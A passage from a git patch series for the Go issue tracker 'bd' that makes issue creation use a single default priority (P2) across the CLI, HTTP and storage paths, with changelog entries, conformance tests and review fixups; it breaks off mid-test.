pure build set, and the js/wasm hook test // under the same exact-count guard. diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 0a57f6785..c2e206425 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -344,7 +344,7 @@ func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { // The cmd/bd block is split over embeddedCmdTargets: one // --suite each, SHARDS@OFFSET/TOTAL (added below). {"test-embedded-storage", "Test", "//internal/storage/embeddeddolt:embeddeddolt_embedded_test", ".github/scripts/embedded-storage-test-shard.sh", -1}, - }, []string{"//internal/storage/embeddeddolt:embeddeddolt_conformance_core_test", "//internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test"}}, + }, []string{"//internal/storage/embeddeddolt:embeddeddolt_conformance_core_test", "//internal/storage/embeddeddolt:embeddeddolt_conformance_core_slow_test", "//internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test"}}, {bazelProxiedJobName, "doltserver-proxied", []suite{ // bazel-proxied runs its own duration-balanced manifest block // (scripts/ci/proxied_test_durations.json), not PR Risk's frozen @@ -874,7 +874,11 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { map[string]string{"BEADS_TEST_EMBEDDED_DOLT": "1"}, }, "//internal/storage/embeddeddolt:embeddeddolt_conformance_core_test": { - []string{"$(rootpath :embeddeddolt_test)", "-test.v", "-test.count=1", "-test.timeout=19m", "-test.run=^TestConformance$$", "-test.skip=^TestConformance$$/^Audit$$"}, + []string{"$(rootpath :embeddeddolt_test)", "-test.v", "-test.count=1", "-test.timeout=19m", "-test.run=^TestConformance$$", "-test.skip=^TestConformance$$/^(Audit|ReadyCountsPageChunking|Portable)$$"}, + map[string]string{"BEADS_TEST_EMBEDDED_DOLT": "1"}, + }, + "//internal/storage/embeddeddolt:embeddeddolt_conformance_core_slow_test": { + []string{"$(rootpath :embeddeddolt_test)", "-test.v", "-test.count=1", "-test.timeout=19m", "-test.run=^TestConformance$$/^(ReadyCountsPageChunking|Portable)$$"}, map[string]string{"BEADS_TEST_EMBEDDED_DOLT": "1"}, }, "//internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test": { From 1f1e82ab083b7ff6e9876d847a39a1e837d5f680 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sat, 10 Oct 2026 01:37:27 +0000 Subject: [PATCH 201/325] fix(issueops): one default priority for every create path (#7426) * fix(issueops): one create priority default; HTTP absent priority is P2 The CLI defaulted `bd create` to P2, but issues:create, issues:batchCreate and batch:apply create items left Issue.Priority at 0 when `priority` was absent, so a gc/curl create stored P0 (critical) against the spec's "absent means the default". The default now lives in one place, the shared create preparation (PreparePublicCreateRequest), behind a presence flag because Issue.Priority's zero value is P0: - issueops.CreateRequest.DefaultPriority, BatchCreateItem.DefaultPriority and CreateItem.DefaultPriority ask for issueops.DefaultCreatePriority (2); setting it with a non-zero priority is ErrValidation (ValidateCreatePriority, shared with the HTTP client); - every Lifecycle.Create, BatchCreator and BatchApplier leg (dolt, embedded, uow) reaches it; CloneCreateBatchRequest now keeps scalar item members; - the three handlers set the flag for an absent member and never make up 0; the HTTP client omits `priority` for it (wirePriority) only when the server advertises the new additive issues.create.defaultPriority token, read from the cached handshake before the dial; an older server reads an absent priority as P0, so the client sends DefaultCreatePriority (2) explicitly to it (pinCreateDefaultPriority). An explicit 0 is still sent; - `bd create` without --priority, `bd create --graph` nodes without priority and `bd create --file` templates without ### Priority rely on the flag; the flag's displayed default and the dry-run previews read the library constant. CLI output is byte-identical (checked against origin/main). Spec: the three priority descriptions now say the create default is P2 on a server advertising issues.create.defaultPriority (apigen regenerated); the wireshape golden already had priority optional, so no wire-shape change. Conformance: RunLifecycleCreateAppliesTheDefaultPriority, RunBatchCreatorAppliesTheDefaultPriority and RunBatchApplyAppliesTheDefaultPriority on dolt, embedded, uow and http, plus handler and client encoding tests, and TestCreateSendsTheDefaultPriorityToAServerThatPredatesIt (new client, handshake without the token: all three create roles send 2). Co-Authored-By: Claude Opus 5.5 * fix(issueops): apply review fixups for the default create priority (bd-kb61wg) Apply the minor and nit findings from the review of #7426: - CHANGELOG: tell out-of-tree storage backends they must honor DefaultPriority (store issueops.DefaultCreatePriority, refuse it with a non-zero priority as ErrValidation) and which conformance cases check it; scope "CLI output is unchanged" to the in-tree backends. - bd create --file: pin the default-priority path. The e2e test asserts the printed priorities, and a buildMarkdownBatchRequest unit test pins the flag and priority for an absent, a 0 and a 1 `### Priority`. Deleting `DefaultPriority: !template.PrioritySet` now fails both. - bd create --file: warn on stderr about a `### Priority` that does not parse, as the `### Type` case already does, instead of dropping it silently. - httpclient: document pinCreateDefaultPriority's same-build assumption (the handshake is cached per Store, so a stale one is silent here), and test its no-context and failed-handshake branches on all three roles. - Formula steps, `bd q` and `bd todo add` spell issueops.DefaultCreatePriority instead of the literal 2. - Conformance: the batch-creator and batch-apply default-priority cases also pin DefaultPriority with a non-zero priority as ErrValidation with nothing written. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 * fix(issueops): mark the out-of-tree DefaultPriority change BREAKING (bd-0tcn1o) Apply the minor findings from the relaunch review of #7426: - CHANGELOG: move the obligation on out-of-tree storage backends out of the `### Fixed` entry into its own `### Changed` entry, led by "BREAKING (out-of-tree storage backends)" as the close-guard change and the earlier out-of-tree contract changes are; RELEASING.md asks breaking changes to carry their migration. The entry says what such a backend used to receive from `bd create`, `--graph` and `--file` (priority 2), what it receives now (priority 0 with DefaultPriority set), the migration, and the conformance cases that check it. The `### Fixed` entry keeps the HTTP P2 fix, points at the new entry, and names the stale-handshake residual that only a code comment named: a create that lands on an older build behind the same URL still stores P0. - bd cook: the proto root, the gate issue and the cooked formula root spell issueops.DefaultCreatePriority instead of the literal 2, as the formula steps in the same file already do. No behavior change. Not taken: - The literal 2s in create_form.go, gate.go and linear.go, and the "default 2" in todo.go's --priority help: explicit P2s outside the migrated paths (the help string also feeds the generated CLI reference). Left for a follow-up sweep. - Reusing in.priorityDefault in the direct bd create route: that route builds no createInput (gatherCreateInput runs only on the proxied and --file routes, and each returns), so there is nothing to reuse. - A member-level range check in the single-create HTTP decode, as the batch shapes have: the asymmetry predates this PR, and the role still refuses an out-of-range priority on all three shapes. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 --- CHANGELOG.md | 40 ++++ backend/conformance/batch_apply_contract.go | 45 ++++ backend/conformance/batch_creator_contract.go | 60 +++++ .../conformance/lifecycle_create_contract.go | 51 +++++ backend/conformance/role_bundle_cases.go | 3 + cmd/bd/cook.go | 9 +- cmd/bd/create.go | 25 +- cmd/bd/create_input.go | 2 + cmd/bd/create_markdown_batch_test.go | 7 + cmd/bd/create_proxied_server.go | 7 +- cmd/bd/create_proxied_server_test.go | 13 +- cmd/bd/graph_apply.go | 24 +- cmd/bd/graph_apply_test.go | 27 +++ cmd/bd/markdown.go | 35 ++- cmd/bd/markdown_test.go | 75 ++++++ cmd/bd/quick.go | 4 +- cmd/bd/todo.go | 3 +- internal/httpapi/BUILD.bazel | 1 + internal/httpapi/apigen/types.gen.go | 8 +- internal/httpapi/batch_apply.go | 4 +- internal/httpapi/batch_create.go | 4 +- internal/httpapi/create.go | 4 + internal/httpapi/create_priority_test.go | 99 ++++++++ internal/httpapi/routes.go | 10 +- internal/httpapi/server_test.go | 2 +- internal/httpapi/spec/openapi.v0.yaml | 27 ++- internal/httpclient/BUILD.bazel | 1 + internal/httpclient/batchapplier.go | 20 +- internal/httpclient/batchcreator.go | 20 +- internal/httpclient/bulk_roles_test.go | 4 +- internal/httpclient/create_priority_test.go | 215 ++++++++++++++++++ internal/httpclient/lifecycle.go | 74 +++++- internal/httpclient/lifecycle_create_test.go | 2 +- .../httpclient/served_batch_apply_test.go | 4 + internal/httpclient/served_bulk_test.go | 4 + .../served_lifecycle_create_test.go | 4 + internal/httpclient/wire/handshake.go | 11 +- internal/httpclient/wire/vocabulary_test.go | 4 +- internal/httpclient/write_ledger_test.go | 21 +- .../storage/dolt/batch_apply_contract_test.go | 5 + .../dolt/batch_creator_contract_test.go | 3 + .../dolt/lifecycle_create_contract_test.go | 3 + .../embeddeddolt/batch_apply_contract_test.go | 3 + .../batch_creator_contract_test.go | 3 + .../lifecycle_create_contract_test.go | 3 + internal/storage/issueops/batch_apply.go | 7 +- internal/storage/issueops/create_batch.go | 18 +- internal/storage/issueops/public_create.go | 25 ++ internal/storage/uow/batch_applier.go | 7 +- .../storage/uow/batch_apply_contract_test.go | 3 + .../uow/batch_creator_contract_test.go | 3 + .../uow/lifecycle_create_contract_test.go | 3 + issueops/batchapplier.go | 3 + issueops/batchcreator.go | 2 + issueops/issueops.go | 15 ++ 55 files changed, 1000 insertions(+), 79 deletions(-) create mode 100644 internal/httpapi/create_priority_test.go create mode 100644 internal/httpclient/create_priority_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 5477be6ae..6b52a5b5a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -230,6 +230,24 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 pinned issues or beads another actor holds must send `force` (`Force` on the request), or reclaim the bead first; the close operations never close a template, forced or not (pour it instead). +- **BREAKING (out-of-tree storage backends): a create without a priority now + arrives as priority 0 with `DefaultPriority` set.** `bd create` without + `--priority`, a `bd create --graph` node without `priority` and a + `bd create --file` template without a valid `### Priority` used to reach a + backend's `IssueLifecycle().Create`, `BatchCreator().CreateBatch` and + `BatchApplier().ApplyBatch` as priority 2. They now arrive as priority 0 + with `issueops.CreateRequest.DefaultPriority` (or `BatchCreateItem` / + `CreateItem.DefaultPriority`) set, as does an HTTP create without + `priority` when `bd serve` fronts the backend. The fields are additive, so + such a backend compiles unchanged, but the shared preparation that applies + the default lives under `internal/`, so a backend that ignores the flag now + stores P0 (critical) for those `bd create` paths, and still stores P0 for + that HTTP create. Migration: store `issueops.DefaultCreatePriority` when + `DefaultPriority` is set, and refuse `DefaultPriority` with a non-zero + priority as `ErrValidation`; `conformance.RunRoleContracts` checks both + through `RunLifecycleCreateAppliesTheDefaultPriority`, + `RunBatchCreatorAppliesTheDefaultPriority` and + `RunBatchApplyAppliesTheDefaultPriority`. ### Fixed - **An update of a template is now refused for every caller, not only @@ -279,6 +297,28 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 stored (a `bd create --parent` child) an HTTP caller now gets that 400 where it used to get 409 `dependency_cycle` (a blocking type) or `dependency_exists` (any other type). +- An HTTP create (`issues:create`, `issues:batchCreate`, a `batch:apply` + create item) that omits `priority` now stores the create default, P2, as the + spec documents, instead of P0 (critical). The default lives in one place: + `issueops.CreateRequest.DefaultPriority` (and `BatchCreateItem` / + `CreateItem.DefaultPriority`) asks the shared create preparation to store + `issueops.DefaultCreatePriority`; the handlers set it for an absent member, + the HTTP client omits `priority` for it only when the server advertises the + new additive `issues.create.defaultPriority` handshake token (an older + `bd serve` reads an absent `priority` as P0, so a new client sends `2` + explicitly to it), and `bd create` (no `--priority`), + `bd create --graph` (a node without `priority`) and `bd create --file` (a + template without `### Priority`) rely on it rather than spelling 2. An + explicit `0` is still P0, and `DefaultPriority` with a non-zero priority is + `ErrValidation`. CLI output is unchanged on the in-tree backends, except + that `bd create --file` now warns on stderr about a `### Priority` it cannot + parse, as it already did for `### Type`, rather than dropping it silently. + The client decides from the handshake its store cached (once per command + in `bd`), so a create that lands on an older build behind the same URL (a + `bd serve` rolled back under a live store, or mixed builds during a + rollout) still stores P0, with no error on either side. + Out-of-tree storage backends must now honor `DefaultPriority`; see the + BREAKING (out-of-tree storage backends) entry under `### Changed`. - **PRs based on `hotfix/**` branches now run full CI, not just cross-version historical smokes and triage labeling.** `pr.yml`, `pr-risk.yml`, `conformance.yml`, `cross-version-smoke.yml` and diff --git a/backend/conformance/batch_apply_contract.go b/backend/conformance/batch_apply_contract.go index f6480e47a..6c173022a 100644 --- a/backend/conformance/batch_apply_contract.go +++ b/backend/conformance/batch_apply_contract.go @@ -2734,3 +2734,48 @@ func RunBatchApplyRefusesADottedChildGatedOnItsOwnParent(t *testing.T, ctx conte } assertBatchApplyEdgeCount(t, ctx, fixture, child, parent, 1) } + +// RunBatchApplyAppliesTheDefaultPriority pins CreateItem.DefaultPriority: a +// create item that asks for the default stores publicops.DefaultCreatePriority, +// and one naming priority 0 stores P0. `bd create --graph` sends a node without +// a priority this way, and so does an HTTP batch apply create item without one. +// A create item asking for the default while naming a priority is +// ErrValidation and writes nothing, as it is for Lifecycle.Create. +func RunBatchApplyAppliesTheDefaultPriority(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { + t.Helper() + unset := batchApplyMintedIssue("defaulted") + unset.Priority = 0 + zero := batchApplyMintedIssue("critical") + zero.Priority = 0 + result := batchApplyMust(t, ctx, fixture, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []publicops.ApplyItem{ + {Kind: publicops.ItemCreate, Create: &publicops.CreateItem{Key: "d", Issue: unset, DefaultPriority: true}}, + {Kind: publicops.ItemCreate, Create: &publicops.CreateItem{Key: "z", Issue: zero}}, + }, + }) + for key, want := range map[string]int{"d": publicops.DefaultCreatePriority, "z": 0} { + id := result.Keys[key] + if id == "" { + t.Fatalf("key %q bound no id: %v", key, result.Keys) + } + if got := batchApplyCount(t, ctx, fixture, "SELECT priority FROM issues WHERE id = ?", []any{id}); got != want { + t.Errorf("stored priority of %s (%s) = %d, want %d", key, id, got, want) + } + } + + conflict := fixture.IssuePrefix + "-prio-conflict" + clash := batchApplyIssue(conflict, conflict) + clash.Priority = 3 + _, err := fixture.BatchApplier.ApplyBatch(ctx, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + ForceIDPrefix: true, + Items: []publicops.ApplyItem{ + {Kind: publicops.ItemCreate, Create: &publicops.CreateItem{Key: "c", Issue: clash, DefaultPriority: true}}, + }, + }) + if !errors.Is(err, publicops.ErrValidation) { + t.Fatalf("DefaultPriority with priority 3: err = %v, want ErrValidation", err) + } + assertBatchApplyRowCount(t, ctx, fixture, "issues", conflict, 0) +} diff --git a/backend/conformance/batch_creator_contract.go b/backend/conformance/batch_creator_contract.go index 0b48334f0..91353d348 100644 --- a/backend/conformance/batch_creator_contract.go +++ b/backend/conformance/batch_creator_contract.go @@ -689,3 +689,63 @@ func batchCreatorHistoryCount(t *testing.T, ctx context.Context, fixture BatchCr } return entries } + +// RunBatchCreatorAppliesTheDefaultPriority pins BatchCreateItem.DefaultPriority: +// an item that asks for the default stores publicops.DefaultCreatePriority, and +// an item naming priority 0 stores P0 in the same batch. The default is +// Lifecycle.Create's, applied in the shared preparation, so an HTTP +// batchCreate without `priority` and a `bd create --file` template without one +// land the same row. An item asking for the default while naming a priority is +// ErrValidation and writes nothing, as it is for Lifecycle.Create. +func RunBatchCreatorAppliesTheDefaultPriority(t *testing.T, ctx context.Context, fixture BatchCreatorFixture) { + t.Helper() + // Minted ids and an unset status, so the case asks nothing of the items + // but their priority — the http wire's batch item has no id or status slot. + unset := &types.Issue{Title: fixture.IssuePrefix + " defaulted", IssueType: types.TypeTask} + zero := &types.Issue{Title: fixture.IssuePrefix + " critical", IssueType: types.TypeTask} + + result, err := fixture.BatchCreator.CreateBatch(ctx, publicops.CreateBatchRequest{ + Actor: "batch-writer", + Items: []publicops.BatchCreateItem{ + {Issue: unset, DefaultPriority: true}, + {Issue: zero}, + }, + }) + if err != nil { + t.Fatalf("CreateBatch: %v", err) + } + if len(result.Issues) != 2 || result.Issues[0] == nil || result.Issues[1] == nil { + t.Fatalf("result = %v, want two created issues", result.Issues) + } + for i, want := range []int{publicops.DefaultCreatePriority, 0} { + created := result.Issues[i] + if created.Priority != want { + t.Errorf("item %d result priority = %d, want %d", i, created.Priority, want) + } + var got int + if err := fixture.QueryScalar(ctx, "SELECT priority FROM issues WHERE id = ?", []any{created.ID}, &got); err != nil { + t.Fatalf("read priority of %s: %v", created.ID, err) + } + if got != want { + t.Errorf("item %d stored priority = %d, want %d", i, got, want) + } + } + + conflict := fixture.IssuePrefix + " conflicting" + _, err = fixture.BatchCreator.CreateBatch(ctx, publicops.CreateBatchRequest{ + Actor: "batch-writer", + Items: []publicops.BatchCreateItem{ + {Issue: &types.Issue{Title: conflict, Priority: 3, IssueType: types.TypeTask}, DefaultPriority: true}, + }, + }) + if !errors.Is(err, storage.ErrValidation) { + t.Fatalf("DefaultPriority with priority 3: err = %v, want ErrValidation", err) + } + var stored int + if err := fixture.QueryScalar(ctx, "SELECT COUNT(*) FROM issues WHERE title = ?", []any{conflict}, &stored); err != nil { + t.Fatalf("count issues titled %q: %v", conflict, err) + } + if stored != 0 { + t.Errorf("issues titled %q after the conflicting priority batch = %d, want 0", conflict, stored) + } +} diff --git a/backend/conformance/lifecycle_create_contract.go b/backend/conformance/lifecycle_create_contract.go index ca906424a..ae1efb1b1 100644 --- a/backend/conformance/lifecycle_create_contract.go +++ b/backend/conformance/lifecycle_create_contract.go @@ -804,3 +804,54 @@ func lifecycleCreatePlaneName(ephemeral bool) string { } return "durable" } + +// RunLifecycleCreateAppliesTheDefaultPriority pins +// CreateRequest.DefaultPriority: a create that asks for the default stores +// publicops.DefaultCreatePriority, and one that names priority 0 stores P0 — +// the zero value is a real priority, never "absent". Asking for the default +// while naming a priority is ErrValidation and writes nothing. +// +// It is the one place the default lives: `bd create` without --priority and an +// HTTP create without `priority` both reach it through this flag, so a backend +// that dropped it would store P0 (critical) for every such create. +func RunLifecycleCreateAppliesTheDefaultPriority(t *testing.T, ctx context.Context, fixture LifecycleCreateFixture) { + t.Helper() + defaulted := fixture.IssuePrefix + "-prio-default" + critical := fixture.IssuePrefix + "-prio-zero" + conflict := fixture.IssuePrefix + "-prio-conflict" + + for _, tc := range []struct { + id string + priority int + useDefault bool + want int + }{ + {id: defaulted, useDefault: true, want: publicops.DefaultCreatePriority}, + {id: critical, priority: 0, want: 0}, + } { + created, err := fixture.Lifecycle.Create(ctx, publicops.CreateRequest{ + Actor: "writer", + DefaultPriority: tc.useDefault, + Issue: &types.Issue{ID: tc.id, Title: tc.id, Priority: tc.priority, IssueType: types.TypeTask}, + }) + if err != nil { + t.Fatalf("create %s: %v", tc.id, err) + } + if created.Issue.Priority != tc.want { + t.Errorf("create %s result priority = %d, want %d", tc.id, created.Issue.Priority, tc.want) + } + if got := lifecycleCreateRow(t, ctx, fixture, tc.id).Priority; got != tc.want { + t.Errorf("stored %s priority = %d, want %d", tc.id, got, tc.want) + } + } + + _, err := fixture.Lifecycle.Create(ctx, publicops.CreateRequest{ + Actor: "writer", + DefaultPriority: true, + Issue: &types.Issue{ID: conflict, Title: conflict, Priority: 3, IssueType: types.TypeTask}, + }) + if !errors.Is(err, storage.ErrValidation) { + t.Fatalf("DefaultPriority with priority 3: err = %v, want ErrValidation", err) + } + assertLifecycleCreateAbsent(t, ctx, fixture, conflict, "after the conflicting priority create") +} diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index 0555b19a5..782a20306 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -62,6 +62,7 @@ var roleContractCases = []roleContract{ RunBatchApplySplicesTheMetadataOfATemplateItCreates, RunBatchApplyCloseItemsAnswerToTheCloseGuards, RunBatchApplyRefusesADottedChildGatedOnItsOwnParent, + RunBatchApplyAppliesTheDefaultPriority, ), roleCases("BatchCloser", "BatchCloser()", oncePerRole, @@ -104,6 +105,7 @@ var roleContractCases = []roleContract{ RunBatchCreatorRecordsNoHistoryForAnEphemeralBatch, RunBatchCreatorDoesNotMutateTheCallerRequest, RunBatchCreatorEchoesSubSecondTimestamps, + RunBatchCreatorAppliesTheDefaultPriority, ), roleCases("BlockingAnnotator", "BlockingAnnotator()", oncePerRole, @@ -459,6 +461,7 @@ var roleContractCases = []roleContract{ RunLifecycleCreateInheritsParentLabels, RunLifecycleCreateWritesEveryScalarField, RunLifecycleCreateEchoesSubSecondTimestamps, + RunLifecycleCreateAppliesTheDefaultPriority, ), roleCases("LifecycleUpdate", "IssueLifecycle()", oncePerRole, diff --git a/cmd/bd/cook.go b/cmd/bd/cook.go index 6e94309b0..853b90a67 100644 --- a/cmd/bd/cook.go +++ b/cmd/bd/cook.go @@ -14,6 +14,7 @@ import ( "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" + "github.com/steveyegge/beads/issueops" ) // stepTypeToIssueType converts a formula step type string to a types.IssueType. @@ -454,7 +455,7 @@ func cookFormulaToSubgraph(f *formula.Formula, protoID string) (*TemplateSubgrap Title: rootTitle, Description: rootDesc, Status: types.StatusOpen, - Priority: 2, + Priority: issueops.DefaultCreatePriority, IssueType: types.TypeMolecule, IsTemplate: true, CreatedAt: time.Now(), @@ -512,7 +513,7 @@ func createGateIssue(step *formula.Step, parentID string) *types.Issue { Title: title, Description: fmt.Sprintf("Async gate for step %s", step.ID), Status: types.StatusOpen, - Priority: 2, + Priority: issueops.DefaultCreatePriority, IssueType: "gate", AwaitType: step.Gate.Type, AwaitID: awaitID, @@ -568,7 +569,7 @@ func processStepToIssue(step *formula.Step, parentID string) *types.Issue { } // Determine priority - priority := 2 + priority := issueops.DefaultCreatePriority if step.Priority != nil { priority = *step.Priority } @@ -969,7 +970,7 @@ func cookFormula(ctx context.Context, s storage.DoltStorage, f *formula.Formula, Title: rootTitle, Description: rootDesc, Status: types.StatusOpen, - Priority: 2, + Priority: issueops.DefaultCreatePriority, IssueType: types.TypeMolecule, IsTemplate: true, CreatedAt: time.Now(), diff --git a/cmd/bd/create.go b/cmd/bd/create.go index 38692d287..4c2004882 100644 --- a/cmd/bd/create.go +++ b/cmd/bd/create.go @@ -8,6 +8,7 @@ import ( "os" "path/filepath" "sort" + "strconv" "strings" "time" @@ -165,6 +166,10 @@ var createCmd = &cobra.Command{ if err != nil { return HandleError("%v", err) } + // No --priority asks the role for its default (CreateRequest. + // DefaultPriority). The flag's displayed default is that same library + // constant, so the dry-run preview below still shows what will land. + priorityDefault := !cmd.Flags().Changed("priority") issueType, _ := cmd.Flags().GetString("type") assignee, _ := cmd.Flags().GetString("assignee") @@ -567,14 +572,18 @@ var createCmd = &cobra.Command{ // Label inheritance stays CLI-side (mergeCreateLabels above) because the // dry-run preview needs it too; asking the facade to inherit as well // would append the parent's labels a second time. + if priorityDefault { + issue.Priority = 0 + } result, err := ops.Create(opsCtx, issueops.CreateRequest{ - Actor: currentActor(), - Issue: issue, - ParentID: parentID, - Dependencies: createDependencyRequests(depSpecs), - WaitsFor: waitsForRequest(waitsForSpec), - ForceIDPrefix: forceCreate, - IDPrefix: createIDPrefixOverride(), + Actor: currentActor(), + Issue: issue, + ParentID: parentID, + Dependencies: createDependencyRequests(depSpecs), + WaitsFor: waitsForRequest(waitsForSpec), + ForceIDPrefix: forceCreate, + IDPrefix: createIDPrefixOverride(), + DefaultPriority: priorityDefault, }) if err != nil { // RULING R1: an occupied --id is a refusal, not a silent full-row @@ -910,7 +919,7 @@ func init() { createCmd.Flags().String("title", "", "Issue title (alternative to positional argument)") createCmd.Flags().Bool("silent", false, "Output only the issue ID (for scripting)") createCmd.Flags().Bool("dry-run", false, "Preview what would be created without actually creating") - registerPriorityFlag(createCmd, "2") + registerPriorityFlag(createCmd, strconv.Itoa(issueops.DefaultCreatePriority)) createCmd.Flags().StringP("type", "t", "task", "Issue type (bug|feature|task|epic|chore|decision|spike|story|milestone); custom types require types.custom config; aliases: enhancement/feat→feature, dec/adr→decision") createCmd.Flags().StringP("status", "s", "", "Initial status") registerCommonIssueFlags(createCmd) diff --git a/cmd/bd/create_input.go b/cmd/bd/create_input.go index f763c0e18..a0f584d8e 100644 --- a/cmd/bd/create_input.go +++ b/cmd/bd/create_input.go @@ -26,6 +26,7 @@ type createInput struct { issueType string status string priority int + priorityDefault bool // no --priority: the role's default applies assignee string externalRef string specID string @@ -180,6 +181,7 @@ func gatherCreateInput(cmd *cobra.Command, args []string) (createInput, error) { return in, HandleError("%v", err) } in.priority = priority + in.priorityDefault = !cmd.Flags().Changed("priority") in.issueType, _ = cmd.Flags().GetString("type") diff --git a/cmd/bd/create_markdown_batch_test.go b/cmd/bd/create_markdown_batch_test.go index 79c6a01f7..846aa0834 100644 --- a/cmd/bd/create_markdown_batch_test.go +++ b/cmd/bd/create_markdown_batch_test.go @@ -51,6 +51,13 @@ Second body. if !strings.Contains(out, "Created 2 issues from") { t.Errorf("create --file output = %q, want the two-issue summary", out) } + // The second template names no priority, so it asks the role for the + // default rather than spelling 2; a role that missed the ask stores P0. + for _, want := range []string{"First from file [P1, bug]", "Second from file [P2, task]"} { + if !strings.Contains(out, want) { + t.Errorf("create --file output = %q, want %q", out, want) + } + } titles := createDepsIssueTitles(t, bd, dir) for _, title := range []string{"First from file", "Second from file"} { if !titles[title] { diff --git a/cmd/bd/create_proxied_server.go b/cmd/bd/create_proxied_server.go index 4e29fcca6..f56e81cda 100644 --- a/cmd/bd/create_proxied_server.go +++ b/cmd/bd/create_proxied_server.go @@ -104,6 +104,10 @@ func runCreateProxiedSingle(_ *cobra.Command, ctx context.Context, in createInpu } issue := buildCreateIssueFromInput(in) + if in.priorityDefault { + // No --priority: the role applies its default (CreateRequest.DefaultPriority). + issue.Priority = 0 + } // Labels ride on the issue because that is where the contract reads them: // CreateRequest.Issue documents them as authoritative. issue.Labels = append([]string(nil), in.labels...) @@ -127,7 +131,8 @@ func runCreateProxiedSingle(_ *cobra.Command, ctx context.Context, in createInpu // and only this side can see it. Without this the proxied route mints // ids the workspace's own configuration forbids and the direct route // refuses. - IDPrefix: createIDPrefixOverride(), + IDPrefix: createIDPrefixOverride(), + DefaultPriority: in.priorityDefault, }) if err != nil { // RULING R1, reported the same way the direct route reports it: an diff --git a/cmd/bd/create_proxied_server_test.go b/cmd/bd/create_proxied_server_test.go index ed8e1a80f..13d8b2895 100644 --- a/cmd/bd/create_proxied_server_test.go +++ b/cmd/bd/create_proxied_server_test.go @@ -133,12 +133,19 @@ func nodeIssueFromInput(t *testing.T, node GraphApplyNode, in createInput) *type func TestGraphApplyNodeIssue_DefaultsAndOpts(t *testing.T) { t.Run("type and priority defaults", func(t *testing.T) { - issue := nodeIssueFromInput(t, GraphApplyNode{Key: "n", Title: "N"}, createInput{createdBy: "t"}) + node := GraphApplyNode{Key: "n", Title: "N"} + issue := nodeIssueFromInput(t, node, createInput{createdBy: "t"}) if issue.IssueType != types.TypeTask { t.Errorf("type default = %q, want task", issue.IssueType) } - if issue.Priority != 2 { - t.Errorf("priority default = %d, want 2", issue.Priority) + // A node without a priority leaves it to the role's default + // (CreateItem.DefaultPriority), so the materialized issue carries none; + // the dry-run preview shows the library default the apply will store. + if issue.Priority != 0 { + t.Errorf("materialized priority = %d, want 0 (the role applies the default)", issue.Priority) + } + if got := graphApplyPreviewPriority(node, issue); got != issueops.DefaultCreatePriority { + t.Errorf("preview priority = %d, want the library default %d", got, issueops.DefaultCreatePriority) } if issue.Status != types.StatusOpen { t.Errorf("status = %q, want open", issue.Status) diff --git a/cmd/bd/graph_apply.go b/cmd/bd/graph_apply.go index 407dae867..7fe321c17 100644 --- a/cmd/bd/graph_apply.go +++ b/cmd/bd/graph_apply.go @@ -417,7 +417,7 @@ func emitGraphApplyDryRun(plan *GraphApplyPlan, opts GraphApplyOptions) error { Title: node.Title, Type: string(issue.IssueType), Status: status, - Priority: issue.Priority, + Priority: graphApplyPreviewPriority(node, issue), ParentKey: effectiveParentKey, ParentID: node.ParentID, }) @@ -798,7 +798,9 @@ func graphApplyNodeIssue(node GraphApplyNode, opts GraphApplyOptions, createdBy, metadataJSON = raw } - priority := 2 + // A node with no priority asks for the role's default + // (CreateItem.DefaultPriority); the number is not spelled here. + priority := 0 if node.Priority != nil { priority = *node.Priority } @@ -1019,9 +1021,10 @@ func buildGraphApplyBatchRequest(plan *GraphApplyPlan, opts GraphApplyOptions, a items = append(items, issueops.ApplyItem{ Kind: issueops.ItemCreate, Create: &issueops.CreateItem{ - Key: node.Key, - Issue: issue, - MetadataRefs: metadataRefs, + Key: node.Key, + Issue: issue, + MetadataRefs: metadataRefs, + DefaultPriority: node.Priority == nil, }, }) } @@ -1212,3 +1215,14 @@ func graphApplySortedKeys(keys map[string]bool) []string { sort.Strings(out) return out } + +// graphApplyPreviewPriority is the priority the dry-run preview shows: the +// node's own, or — for a node that names none and so asks the role for its +// default — the library's DefaultCreatePriority, which is what the live apply +// will store. +func graphApplyPreviewPriority(node GraphApplyNode, issue *types.Issue) int { + if node.Priority == nil { + return issueops.DefaultCreatePriority + } + return issue.Priority +} diff --git a/cmd/bd/graph_apply_test.go b/cmd/bd/graph_apply_test.go index 1d8ded671..9499281fc 100644 --- a/cmd/bd/graph_apply_test.go +++ b/cmd/bd/graph_apply_test.go @@ -1616,3 +1616,30 @@ func TestBuildGraphApplyBatchRequestFieldsSurvive(t *testing.T) { } }) } + +// TestBuildGraphApplyBatchRequestLeavesAnAbsentPriorityToTheRole: a node with +// no priority becomes a create item asking for the role's default +// (CreateItem.DefaultPriority) with a zero Issue.Priority, and a node naming 0 +// stays P0 with the flag off. `bd create --graph` no longer spells the default. +func TestBuildGraphApplyBatchRequestLeavesAnAbsentPriorityToTheRole(t *testing.T) { + zero := 0 + req, err := buildGraphApplyBatchRequest(&GraphApplyPlan{Nodes: []GraphApplyNode{ + {Key: "a", Title: "absent"}, + {Key: "z", Title: "zero", Priority: &zero}, + }}, GraphApplyOptions{}, "actor", "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", 